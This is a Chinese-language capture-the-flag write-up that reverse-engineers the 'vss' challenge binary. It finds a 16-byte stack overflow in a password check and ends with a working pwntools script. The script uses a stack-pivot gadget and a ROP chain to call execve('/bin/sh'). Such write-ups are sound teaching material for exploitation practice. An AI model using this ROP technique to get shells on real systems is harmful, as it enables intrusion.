64位静态链接ELF,Partial RELRO,无canary,无PIE
进入程序,发现一个start
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3) { __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF void *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; sub_401240( (unsigned int)sub_4011B1, v4, (unsigned int)&retaddr, (unsigned int)sub_4018B0, (unsigned int)sub_401940, a3, (__int64)&v5); }
这个sub_401240就是__libc_start_main,其中的第一个参数就是main函数
查看main函数
int __cdecl main(int argc, const char **argv, const char **envp) { char v4[1024]; // [rsp+0h] [rbp-400h] BYREF sub_4374E0(10LL); sub_4089E0(off_6C4790, 0LL); sub_408800("VSS:Very Secure System"); sub_408800("Password:"); sub_437EA0(0LL, v4, 1024LL); if ( (unsigned int)sub_40108E(v4) ) sub_408800("Logined"); else sub_408800("Access Deny"); return 0; }
查看sub_4374E0
unsigned __int64 __fastcall sub_4374E0(unsigned int a1) { unsigned __int64 result; // rax result = sys_alarm(a1); if ( result >= 0xFFFFFFFFFFFFF001LL ) { __writefsdword(0xFFFFFFC0, -(int)result); result = -1LL; } return result; }
这个函数应该就是alarm
查看sub_4089E0
__int64 __fastcall sub_4089E0(int *a1, __int64 a2) { __int64 v2; // rdx int v4; // ecx int v5; // eax unsigned __int64 v7; // r9 bool v9; // zf __int64 v10; // rax __int64 v11; // rbp __int64 result; // rax __int64 v13; // rdx v2 = 0x2000LL; v4 = *a1; if ( (*a1 & 0x8000) == 0 ) { _R8 = *((_QWORD *)a1 + 17); v7 = __readfsqword(0x10u); if ( v7 == *(_QWORD *)(_R8 + 8) ) { LABEL_8: ++*(_DWORD *)(_R8 + 4); goto LABEL_9; } _ESI = 1; v9 = dword_6C7EFC == 0; if ( dword_6C7EFC ) { v5 = *a1 & 0x8000; if ( v5 == _InterlockedCompareExchange((volatile signed __int32 *)_R8, 1, v5) ) goto LABEL_7; } else { __asm { cmpxchg [r8], esi } if ( v9 ) { LABEL_7: _R8 = *((_QWORD *)a1 + 17); v4 = *a1; *(_QWORD *)(_R8 + 8) = v7; goto LABEL_8; } } sub_43ADE0(_R8, 1LL, 0x2000LL); goto LABEL_7; } LABEL_9: v10 = *((_QWORD *)a1 + 27); BYTE1(v4) &= 0xFDu; v11 = 0LL; *a1 = v4; if ( a2 ) v11 = v2; (*(void (__fastcall **)(int *, __int64, __int64))(v10 + 88))(a1, a2, v11); result = (unsigned int)a1[48]; if ( !(_DWORD)result ) { result = *((_QWORD *)a1 + 20); if ( result ) result = (*(__int64 (__fastcall **)(int *, __int64, __int64))(*(_QWORD *)(result + 320) + 88LL))(a1, a2, v11); } if ( (*a1 & 0x8000) == 0 ) { v13 = *((_QWORD *)a1 + 17); v9 = (*(_DWORD *)(v13 + 4))-- == 1; if ( v9 ) { *(_QWORD *)(v13 + 8) = 0LL; if ( dword_6C7EFC ) { if ( !_InterlockedDecrement((volatile signed __int32 *)v13) ) return result; return sub_43AE10(v13); } v9 = (*(_DWORD *)v13)-- == 1; if ( !v9 ) return sub_43AE10(v13); } } return result; }
猜测sub_4089E0就是setbuf,off_6C4790应该就是stdout
查看sub_408800
__int64 __fastcall sub_408800(__int64 a1) { __int64 v2; // rax _QWORD *v3; // rbx __int64 v4; // rbp _DWORD *v5; // rdi unsigned __int64 v7; // rdx bool v9; // zf int v10; // eax _BYTE *v11; // rax unsigned __int64 v12; // rbp __int64 v13; // rdx v2 = sub_419550(); v3 = stdout; v4 = v2; v5 = stdout; if ( (*(_DWORD *)stdout & 0x8000) == 0 ) { _R8 = *((_QWORD *)stdout + 17); v7 = __readfsqword(0x10u); if ( v7 == *(_QWORD *)(_R8 + 8) ) { v5 = stdout; goto LABEL_8; } _ESI = 1; v9 = dword_6C7EFC == 0; if ( dword_6C7EFC ) { if ( !_InterlockedCompareExchange((volatile signed __int32 *)_R8, 1, 0) ) goto LABEL_7; } else { __asm { cmpxchg [r8], esi } if ( v9 ) { LABEL_7: _R8 = v3[17]; v5 = stdout; *(_QWORD *)(_R8 + 8) = v7; LABEL_8: ++*(_DWORD *)(_R8 + 4); goto LABEL_9; } } sub_43ADE0(_R8, 1LL, v7); goto LABEL_7; } LABEL_9: v10 = v5[48]; if ( v10 ) { if ( v10 != -1 ) goto LABEL_24; } else { v5[48] = -1; } if ( v4 != (*(__int64 (__fastcall **)(_DWORD *, __int64, __int64))(*((_QWORD *)v5 + 27) + 56LL))(v5, a1, v4) ) goto LABEL_24; v11 = (_BYTE *)*((_QWORD *)stdout + 5); if ( (unsigned __int64)v11 < *((_QWORD *)stdout + 6) ) { *((_QWORD *)stdout + 5) = v11 + 1; *v11 = 10; goto LABEL_14; } if ( (unsigned int)sub_40D3F0(stdout, 10LL) == -1 ) { LABEL_24: LODWORD(v12) = -1; goto LABEL_16; } LABEL_14: v12 = v4 + 1; if ( v12 > 0x7FFFFFFF ) LODWORD(v12) = 0x7FFFFFFF; LABEL_16: if ( (*(_DWORD *)v3 & 0x8000) == 0 ) { v13 = v3[17]; v9 = (*(_DWORD *)(v13 + 4))-- == 1; if ( v9 ) { *(_QWORD *)(v13 + 8) = 0LL; if ( dword_6C7EFC ) { if ( !_InterlockedDecrement((volatile signed __int32 *)v13) ) return (unsigned int)v12; goto LABEL_29; } v9 = (*(_DWORD *)v13)-- == 1; if ( !v9 ) { LABEL_29: sub_43AE10(v13); return (unsigned int)v12; } } } return (unsigned int)v12; }
这个函数应该就是puts
查看sub_437EA0
__int64 sub_437EA0() { __int64 result; // rax if ( dword_6C7EFC ) result = sub_437EBD(); else result = sub_437EA9(); return result; }
查看sub_437EBD
__int64 __fastcall sub_437EBD(unsigned int a1, char *a2) { __int64 v2; // rax size_t v3; // rdx unsigned __int64 v4; // rdx __int64 result; // rax v2 = sub_43AE30(); sub_43AE90(v2, a2, sys_read(a1, a2, v3)); result = v4; if ( v4 >= 0xFFFFFFFFFFFFF001LL ) { __writefsdword(0xFFFFFFC0, -(int)v4); result = -1LL; } return result; }
查看sub_437EA9
unsigned __int64 __fastcall sub_437EA9(unsigned int a1, char *a2, size_t a3) { unsigned __int64 result; // rax result = sys_read(a1, a2, a3); if ( result >= 0xFFFFFFFFFFFFF001LL ) { __writefsdword(0xFFFFFFC0, -(int)result); result = -1LL; } return result; }
所以sub_437EA0应该就是read
按照函数逻辑,sub_40108E应该就是一个判断函数,不妨叫做check
重命名后的main函数如下
int __cdecl main(int argc, const char **argv, const char **envp) { char v4[1024]; // [rsp+0h] [rbp-400h] BYREF alarm(10LL); setbuf(stdout, 0LL); puts("VSS:Very Secure System"); puts("Password:"); read(0LL, v4, 1024LL); if ( (unsigned int)check(v4) ) puts("Logined"); else puts("Access Deny"); return 0; }
查看check函数
_BOOL8 __fastcall check(__int64 a1) { int v2[4]; // [rsp+10h] [rbp-40h] BYREF __int64 v3[5]; // [rsp+20h] [rbp-30h] BYREF int v4; // [rsp+48h] [rbp-8h] int v5; // [rsp+4Ch] [rbp-4h] v3[0] = 0LL; v3[1] = 0LL; v3[2] = 0LL; v3[3] = 0LL; v3[4] = 0LL; v2[0] = 0; sub_400330(v2, a1, 80LL); if ( LOWORD(v2[0]) == 31088 ) return 1LL; v5 = sub_419550(v2); for ( dword_6C7A98 = 0; dword_6C7A98 < v5; ++dword_6C7A98 ) *((_BYTE *)v2 + dword_6C7A98) ^= 0x66u; v4 = sub_437E40("pass.enc", 0LL); if ( v4 == -1 ) sub_407700(0xFFFFFFFFLL); read(); return (unsigned int)sub_400360(v2, v3) == 0; }
查看sub_400330,发现它似乎是个动态解析的函数,所以也是个库函数,按照它的格式和功能来看,猜测是memcpy
这样的话此处就存在一个栈溢出,因为这里的空间是0x40也就是64,拷贝了80,多了16,刚好可以把saved rbp和return addr覆盖掉,不过没有空间继续构造rop链了
不过还好,发现栈空间接下来的部分就是main里的v4,也是我们能够控制的空间
发现存在一个gadget:0x000000000046f205: add rsp, 0x58; ret;
这样的话只要把栈空间上移0x58,之后的部分又是能控制的,继续构造rop链即可
注意到check的后半部分会对我们的输入进行大量的修改操作,而满足LOWORD(v2[0]) == 31088就可以直接返回,避免对我们传入的数据进行修改
转换一下形式
也就是输入的前两位只要是py就行(注意小端序)
因此构造rop链即可
exp如下:
from pwn import * io = process(‘./vss‘) add_rsp_0x58 = 0x46f205 pop_rax = 0x46f208 pop_rdi = 0x401823 pop_rsi = 0x401937 pop_rdx = 0x43ae05 syscall = 0x4004b8 mov_vrax_rdx = 0x4485ee goal_addr = 0x6c5000 payload = (b‘py‘.ljust(72, b‘a‘) + p64(add_rsp_0x58)).ljust(0x58, b‘a‘) payload += p64(pop_rax) + p64(goal_addr) payload += p64(pop_rdx) + b‘/bin/sh\x00‘ + p64(mov_vrax_rdx) payload += p64(pop_rdi) + p64(goal_addr) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(pop_rax) + p64(59) payload += p64(syscall) io.recvuntil(‘Password:\n‘) io.send(payload) io.interactive()